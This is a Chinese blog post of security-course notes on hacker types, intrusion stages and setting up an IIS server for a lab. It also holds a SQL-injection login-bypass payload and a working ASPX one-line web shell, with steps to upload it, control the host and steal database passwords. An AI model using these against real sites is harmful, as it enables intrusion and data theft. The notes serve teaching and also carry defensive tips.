0
点赞
收藏
分享

微信扫一扫

信息安全1

寒羽鹿 2022-05-02 阅读 45
安全

信息安全基本知识:

1.白帽子创新者:设计新系统,打破常规
灰帽子破解者:破解已有系统,发现问题,漏洞,展现自我
黑帽子破坏者:恶意破坏,散播病毒,商业间谍
2.脚本小子:按照指示或运行某种骇客程序进行程序破解
3.网络威胁的步骤:控制,窃取,破坏
4.入侵三部曲:
预攻击,收集信息
攻击,进行攻击
后攻击,消除痕迹
5.DOS拒绝服务攻击:耗尽目标服务器全部资源

部署wab服务器:

1.控制面板-程序和功能-打开或关闭windows功能-全部选中Internet信息服务和Internet information services 可承载的核心
2. cmd管理员运行代码"%WINDIR%\Microsoft.NET\Frame-work\v4.0.30319\aspnet_regiis.exe" -iru -e-nable
计算机-管理-服务和应用程序-服务-ASP.net状态服务改为启用
3.Internet信息服务管理器-网站-右击-添加网站(程序池选4.0classic,路径选文件所在位置)-应用程序池-右击4.0class-启用32位应用程序改为true
点击右侧浏览,完成

操作

1.网站后台绕过
利用漏洞
例:用户名’or 1=1 or’
2.篡改页面内容
1、在网站前台或后台中寻找能够提交信息的合适位置。2、提交代码,观察效果。
提示:
1、后台网址避免使用常见名称,防止被轻易猜到
2、管理员账号避免使用默认账号如admin、administrator、root、sa等,管理员密码避免使用弱口令如admin、123456、qwerty等
3、构造符合语法规则的永真sql绕过登陆验证,利用单引号’闭合确保语法正确,然后构造1=1等永真判断
4、用户可以提交信息的地方往往存在风险
5、所有问题的根源在于软件开发过程中没有进行充分的特殊字符过滤
3.上传后门程序并控制主机
一句话木马的使用
1、新建文本文档,将文件后缀修改为aspx,书写内容如下:<%@ Page Language=“Jscript”%> <%eval(Request.Item[“pass”],“unsafe”);%>
2、在系统中寻找文件上传点。
3、上传之前创建的aspx一句话木马文件。
4、设法获得上传文件在网站目录中的文件名称和路径。
5、利用中国菜刀工具连接一句话木马(密码为pass)。
6、获得目标服务器的操作权限并拿到数据库文件。
7、对数据库中的账号密码进行解密。

举报

相关推荐

0 条评论